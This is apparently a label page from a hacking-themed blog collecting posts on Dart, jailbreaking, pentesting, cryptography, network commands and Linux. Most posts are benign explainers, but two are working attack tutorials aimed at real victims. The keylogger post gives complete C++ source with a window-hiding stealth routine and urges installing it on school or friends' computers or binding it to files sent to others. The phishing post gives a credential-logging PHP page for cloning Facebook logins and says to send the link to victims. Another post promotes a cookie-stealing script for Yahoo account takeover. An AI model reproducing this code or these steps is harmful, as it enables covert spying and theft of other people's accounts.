Now you all can invite me on skype for any kind of help required as my username is krackoworld


Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

23 May 2012

What is Google Dart (Programming language)


Google-DartGoogle Dart is an open source Web programming language developed by Google. It was unveiled at the GOTO conference in Aarhus, 2011 October 10-12. The goal of Dart is "ultimately to replace JavaScript as the lingua franca of web development on the open web platform." Dart is intended to solve JavaScript's problems (which, according to a leaked memo, cannot be solved by evolving the language) while offering better performance, the ability "to be more easily tooled for large-scale projects" and better security features. Google also is working on Dart to help them build more complex, full-featured client-side Web apps.

Dart is a class-based, single inheritance, object-oriented language with C-style syntax. It supports interfaces, abstract classes, and reified generics. Dart's support of optional typing is perhaps the most interesting feature for a language targeted at mass adoption. Static type annotations do not affect the runtime semantics of the code. Instead, the type annotations can provide clear documentation for tools like static checkers and dynamic run time checks.

It basically comes along with 2 modes:

1. Checked mode
2. Production mode

Compilers

dartc was the first compiler that emitted JavaScript from Dart code. dartc has been deprecated. Frog was the second instance of a Dart-to-JavaScript compiler, this time written in Dart. Frog never implemented the full semantics of the language, though, and a new compiler called dart2js was created. Also written in Dart, dart2js is the current Dart-to-JavaScript compiler and is intended to implement the full Dart language spec and semantics.

Editors

On November 18, 2011, Google released Dart Editor, an open-source Dart editor based on Eclipse components, for Mac OS X, Windows, and Linux. This editor supports syntax highlighting, code completion, JavaScript compilation, running both web and server Dart apps, and even debugging.

Example-

The famous Hello World example:

main() {
print('Hello World!');
}



For more details plz visit its official website at here.



20 May 2012

Create an Keylogger Using Visual C++


Hi friends I hope all of you were fine and enjoying my every bit of posts. Hence today I am going to tell you an secret of making your own keylogger at C++ by giving you the Spyware code in the last. It is going to be fun. You can install this spyware in your college/school or in your friend Computer system and get their username and passwords easily. So lets start…

Instructions to create an simple keylogger:

1. First of all download and install Dev C++ from here.

2. Now Go to File->New->Source File. Here you can see an blank window space where you will paste the following source code just below.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

 

3. Now Compile and execute the program using ctrl+F10.

4. Hence your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

5. You can also bind the .exe file with image or any files and send it to your friend.
If you have physical access to your college/school system,then copy the exe file in that system and run it.
For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

The end! Have a nice day…



15 December 2011

iPhone, iPod Touch and iPad Jailbreaking


Jailbreaking is the process by which Apple’s mobile operating system known as iOS is completely modified to run unsigned applications or code in order to gain access to files that Apple wouldn’t normally let you access. Thus limitation imposed by Apple should be removed. Such devices include the iPhone, iPod touch, iPad, and Apple TV.

Jailbreaking adds an unofficial application installers to your iOS device such as Cydia, which let you download any 3rd-party applications, tweaks, and extensions that are unavailable through the App Store.

What is Cydia ?

In short words, Cydia is like the App Store of jailbreak applications which includes lots of apps, tweaks, and mods etc. Just like the App Store, you can download and install Cydia apps effortlessly.

Is Jailbreaking Legal ?

Yes, Jailbreaking is completely legal for a long time. First Jailbreaking was considered illegal by the US government based on copyright litigation but in July of 2010, the US government passed a rule that made Jailbreaking legal.

What are the different types of jailbreaks ?

The are 3 types of jailbreaks:

tethered, semi tethered and untethered mainly.

Benefits of Jailbreaking-

The main reason behind Jailbreaking is to have the ability to install third party applications and tweaks that Apple doesn’t or wouldn’t approve in the App Store. For ex, Apple doesn’t allow you to customize your iPhone by changing app icons or the general user interface of your device but thanks to the jailbreak community which allows us to change the way of your iPhone looks.

Does it Cost Anything to Jailbreak ?

No. You should never pay for a jailbreak.

Is Jailbreaking the Same thing as Unlocking ?

No, Jailbreaking and unlocking are two different things.

How to Perform Jailbreak ?

Section Coming Soon…

That’s it !



14 December 2011

What is Penetrating Testing ?


Well! Its being an long time of 3 weeks when I have not posted an single article on my blog due to my final exams of B.tech ECE but now my exams are over and get ready to write as much I can in my holidays. So therefore, today I am going to tell you about Penetrating Testing and its types properly. Penetration Testing is the act of evaluating the Security of system or network by exploiting vulnerabilities or is a method of evaluating the security of a computer system/network by simulating an attack from malicious outsiders and malicious insiders etc.. This will determine whether unauthorized or malicious activity is possible in a system or not.

Why Penetration Testing only ?

  • Penetration testing can identify the vulnerabilities that is not identified by an automated vulnerability scanners.
  • Determining the feasibility of a particular set of attack vectors
  • Determining the Critical Vulnerabilities .
  • Testing the ability of network defenders to successfully detect and respond to the attacks
  • Testing stability of the system against the DDOS attack and many more.

White Box vs.. Black Box

Penetration testing can be performed in different ways as given below. The methods can be classified into three types based on the knowledge about the System being tested.
White Box:
In white box testing, Pen Tester know everything about the system such as source code,network diagrams, IP addressing info.
Black Box:
Black box testing assumes no prior knowledge of the infrastructure to be tested. The testers must first determine the location and extent of the systems before commencing their analysis.

Web application penetration testing :

This testing will be used to find the following web application vulnerabilities:

  • SQL Injection
  • XSS(Cross site Scripting)
  • DDOS
  • Clickjacking
  • Buffer overflow
Penetration Testing Tool:
Penetration Testing tools are used as part of a penetration test to automate certain tasks, improve testing efficiency, and discover issues that might be difficult to find using manual analysis techniques alone.
As a Penetration Tester, you will need lot of Penetration testing tools to test the Security of system. Searching ,downloading and installing the required software may take time. You can use a Penetration Testing Distribution instead.
What is Pen Testing Distribution?
Penetration Testing Distribution is an open source Operating System(Derived from Linux/BSD) that combines all required application for testing the security of system. It is specially developed for Security Professionals(Pen Testers/EthicalHackers/Forensic Officers... e.g.. Backtrack 5 Linux .
What is the advantage of Penetration Testing Distribution?
All Required application for security test are gathered in a single Operating system. You don't need to search for application, Save your time. Penetration Testing Distribution are open source and free to use. You can install in pen drive and bring it anywhere.

Thanks !



11 November 2011

Introduction to Reverse Engineering


Acc. to Wiki, Reverse engineering is the process of discovering the technological principles of a device, object, or system through analysis of its structure, function & operation. It often involves taking something (e.g., a mechanical device, electronic component, software program, or biological, chemical or organic matter) apart and analyzing its workings in detail to be used in maintenance, or to try to make a new device or program that does the same thing without using or simply duplicating the original etc..

Reverse-engineering is especially important with computer hardware and software. Programs are written in a language, say C++ or Java, that's understandable by other programmers. But to run on a computer, they have to be translated by another program, called a compiler, into the ones and zeros of machine language. Compiled code is incomprehensible to most programmers, but there are ways to convert machine code back to a more human-friendly format, including a software tool called a decompiler.
Reverse-engineering is used for many purposes: as a learning tool; as a way to make new, compatible products that are cheaper than what's currently on the market; for making software interoperate more effectively or to bridge data b/w different operating systems or databases; and to uncover the undocumented features of commercial products.
Reverse-engineering can also expose security flaws and questionable privacy practice.
With the help of Reverse Engineering we can modify a software at own way... Like we can change the name of Software and also convert Trial Software to License one... n many more.
So Reverse Engineering is a hacker friendly tool... Use it n Enjoy responsibly..!!

Tools

1. OLLYDBG TOOL: Important one !
Download Link: http://www.ollydbg.de/odbg201b.zip

2. HEX WORKSHOP TOOL:
The Hex Workshop Hex Editor is a set of hexadecimal development tools for
Microsoft Windows, combining advanced binary editing with the ease and flexibility
of a word processor. With Hex Workshop you can edit, cut, copy, paste, insert, and delete hex, print customizable hex dumps and export to RTF or HTML for publishing. 
Download Link: HexWorkshop Tool

3. COMING SOON:

Have a great day! Peace…



10 November 2011

Cryptography and Its Types


Cryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries). In this, conversion of recognizable data into an encrypted code for transmitting it over a network (either trusted or untrusted) takes place. Data is encrypted at the source, i.e. sender's end and decrypted at the destination, i.e. receiver's end.
In all cases, the initial unencrypted data is referred to as plaintext. It is encrypted into cipher text, which will in turn (usually) be decrypted into usable plaintext using different encryption algorithms.

The Purpose of it :

1) Authentication : The process of proving one's identity. 
2) Privacy/confidentiality : Ensuring that no one can read the message except the intended receiver. 
3) Integrity : Assuring the receiver that the received message has not been altered in any way from the original. 
4) Non-repudiation : A mechanism to prove that the sender really sent this message.

In general, cryptographic algorithms are classified into three main categories given below :

1) Symmetric Key Cryptography (SKC) : Symmetric-key cryptography refers to encryption methods in which both the sender and receiver share the same key (or, less commonly, in which their keys are different, but related in an easily computable way). This was the only kind of encryption publicly known until June 1976. Uses a single key for both encryption and decryption.
2) Public Key Cryptography (PKC) : Whitfield Diffie and Martin Hellman proposed the notion of public-key Cryptography. Uses one key for encryption and another for decryption.
3) Hash Functions : Uses a mathematical transformation to irreversibly "encrypt" information.

That’s it !



27 October 2011

Concept Of Network Hacking and Tools Used


Network Hacking generally means gathering information about domain by using tools like Telnet, NslookUp, Ping, Tracert, Netstat etc. It also includes OS Fingerprinting, Port Scanning and Port Surfing using various tools. Therefore, Below I am telling about 4 tools with their definition along with example to clarify things b/w you.

1. Ping :- Ping is part of ICMP (Internet Control Message Protocol) which is used to troubleshoot TCP/IP networks. So, Ping is basically a command that allows you to check whether the host is alive or not.
To ping a particular host the syntax is (at command prompt)--

c:/>ping hostname.com

example:- c:/>ping www.google.com

2. Netstat :- It displays protocol statistics and current TCP/IP network connections. i.e. local address, remote address, port number, etc.
It's syntax is (at command prompt)--

c:/>netstat -n

3. Telnet :- Telnet is a program which runs on TCP/IP. Using it we can connect to the remote computer on particular port. When connected it grabs the daemon running on that port.
The basic syntax of Telnet is (at command prompt)--

c:/>telnet hostname.com

By default telnet connects to port 23 of remote computer.
So, the complete syntax is-

c:/>telnet www.hostname.com port

example:- c:/>telnet www.yahoo.com 21 or c:/>telnet 192.168.0.5 21

4. Tracert :- It is used to trace out the route taken by the certain information i.e. data packets from source to destination.
It's syntax is (at command prompt)--

c:/>tracert www.hostname.com

example:- c:/>tracert www.krackoworld.com

Tracert

Here "*    *    *    Request timed out." indicates that firewall installed on that system block the request and hence we can't obtain it's IP address.
various attributes used with tracert command and their usage can be viewed by just typing c:/>tracert at the command prompt.
The information obtained by using tracert command can be further used to find out exact operating system running on target system and much more.

That’s it! This chapter is over…



08 October 2011

Video Tutorial on Yahoo Account Hacking By Means of Cookie Stealing Script


Well here comes the another video on Yahoo account Hacking by Cookie stealing technique (script). All you have to sit down and watch it carefully. Below is the contents used in Video :- * Basics of attack .
* Definition of session cookies
* Why only yahoo accounts mainly 
* Stealing session cookies
* Using stolen cookies to access yahoo account without credentials
* Demonstration of attack using two different browsers etc..

Procedure-

1. First of all download the script from here and
2. Then watch the tutorial below to know that how to apply the script in Yahoo and snatch back the usernames and passwords of your victims properly.

Special Credits to ExploreHacking who makes this video possible.

Any Comments are Welcomed @



18 September 2011

Test your Antivirus with a Simple Notepad Trick



Sometimes you are wondering that your antivirus is working properly or not because its update is over. Then you need not have to worry from now as today i came up with a simple notepad trick which helps you to test your antivirus by detecting this notepad file as a virus. Note- If your antivirus detects it or delete it means that your antivirus is working properly.

Notepad trick to Test your Antivirus

    * Open Notepad.

    * Copy the code given code below and paste it your notepad file:

      X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    * Save it with an .exe extension like testvirus.exe

Thats it !


13 August 2011

Learn How to Make a Phishing Page for any Website


fake login pageAs I mention earlier in my previous posts that Phishing is a way of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. This is similar to Fishing, where the fisherman puts a bait at the hook, thus, pretending to be a genuine food for fish. But the hook inside it takes the complete fish out of the lake. Phishing is typically carried out by e-mail spoofing or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Around 50% of the accounts in todays world is get hacked by this process.. that is why Phishing is considered as the simplest and easiest way of Hacking someone sensitive information. Below is the complete tutorial on it.

How to make a Phisher or Phishing/Fake Page:

1. First Open any website which you want to make phisher/ fake login page.

for eg : Facebook.com
2. Now do right click and save the page.
3. Then open that page in notepad, search for "action = http://" and change the following address to login.php and also change method = " Post" to "GET" and hit save.
 

4. After editing save the page as "index.html"
5. Now its time to create login.php . Open any blank notepad and copy/paste this below code and save it as login.php

header ('Location: http://google.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Note :- By default the victim will be redirected to google.com once he clicks login ,If you want you can change the address you can do it by changing the www.google.com to any address you want.

6. Now create a simple and empty text file in notepad and save it as log.txt

7. Now create your own free web hosting account at my3gb.com or 110mb.com or 000webhost.com and upload all the three files.

8. Upload Index.html , login.php , log.txt we created in the above steps.

9. We are done, our phisher / fake login page is ready to use….

How to Hack Accounts ?

Send the index.html (the uploaded one) link to your victim , once he/she will enter his/her information and do login with our fake login page, then every thing will be stored in the log.txt file placed in your hosting account, now open log.txt to see all the Login details.

Its very simple to create phisher/fake login page for any website, Here i have taken the example of Facebook Phisher . But in this same you can also create the phisher of many websites like yahoo, Gmail, orkut etc..

If you face any problem then please tell me by commenting. Have Fun !



15 July 2011

An introduction to Linux- Running, Learning and Choosing Distribution


LinuxWhat is Linux ?- Let me clear you that Linux is a free, open-source, UNIX-like operating system. The name "Linux" comes from the Linux kernel, originally written in 1991 by Linus Torvalds. It can be installed on a wide range of computer hardware, starting from mobile phones,tablet computers, routers and video game consoles, to desktop computers, mainframes and supercomputers also. As you continue to learn how to hack, you will realize how important it is to learn how to use the Linux operating system. 

Here are the couple of facts & figures about it:
1. Millions of servers on the internet run on the Linux operating system. You must learn the operating system to be able to penetrate these web servers.
2. Some of the best hacking programs only run on Linux.

Choosing a distribution

A Linux distribution is the Linux kernel (- central component of an operating system.) plus a collection of applications. If you are a beginner to Linux, I would suggest starting with Ubuntu as your first Linux distribution. It is simple to install and very user friendly.

Running Linux

There are many ways to get Linux up and running. I will show you the most popular methods below.
  • Live CD
  • VirtualBox
  • Wubi

Learning Linux

You can now learn Ubuntu running and Linux through many ways as given below :

Enjoy D!



13 July 2011

Best Way to Learn Programming - Advantages & Disadvantages


what is programming languageLots of readers often ask me that is learning programming is mandatory for a hacker to increase its potential, So the answer is “yes” but in some cases. Atleast we have the knowledge of little basics of it. hence programming helps us to became an elite hacker. Therefore today, I am going to tell you the advantages and disadvantages of learning programing and also how to learn it properly as well. Enjoy !

 

Where should I start ?

Many people finally decide that they are going to begin learning a programming language, but don’t know where to start. I believe that before you begin to learn a programming language, you should first master HTML (Hypertext Markup Language). HTML is part of what makes up all of the website pages you see on the internet. HTML is very easy to learn and it will helps you to have a look at source code. Blogging and template designing is also a best way to learn it in my point of view.

From there I would suggest starting your programming life with C. C is one of the most popular languages, and it is what makes up the majority of the exploits out there today. C also makes up some of the most powerful hacking programs and viruses that are out there today.

Advantages of Programming

1. You’ll be considered an elite hacker.
2. Imagine a black hat discovers a vulnerability and codes an exploit for it that no one else knows about. The black hat would be able to take down thousands of machines before anyone discovers and patches the vulnerability.
3. You will feel so much more satisfied having created your own program or exploit. I promise you this.

So my advice is, don’t settle for being a point and click hacker. Take some time to understand even just the basics of programming and an entire new world of hacking will open up to you.

Disadvantages of Programming

1. You’ll be considered an script kiddies.
2. You don’t have your own point of view and rearrangement.
3. You cannot find holes & vulnerabilities.
4. No idea of creating your own tools and exploits etc.

Best way to learn it

1. Purchase a beginners book on your programming language usually in English. Before you choose the book, make sure you read the reviews to make sure it’s a good choice.
2. It is important that once you begin learning the programming language through your book, you don’t take big breaks. Taking long breaks will cause you to forget things you learned in the beginning that apply to the rest of the book.
3. Do ALL of the practice problems provided in the book. The only way you will become better is by applying what you learn.
4. When something difficult comes up or something that makes no sense to you, don’t avoid or skip it. Instead embrace it! This is how you actually learn. If you still don’t understand it after going over it multiple times, find someone that can help you.
5. Join a programming forum. Search for a website on your programming language that has a large user base. There will be many professionals on there that will be able to help you when you get stuck.
6. Practice. Practice Practice. Think of ideas for fun programs that you could make and program them!

Share it !

Wants to share this article - no problem, but remember to provide proper credits to the author and its website as well.



 

Recent Posts

Review this blog on Bloggers.com

Recent Comments

| KrackoWorld (KoW) © 2014. All Rights Reserved | Style By All Web Designing | | Contact |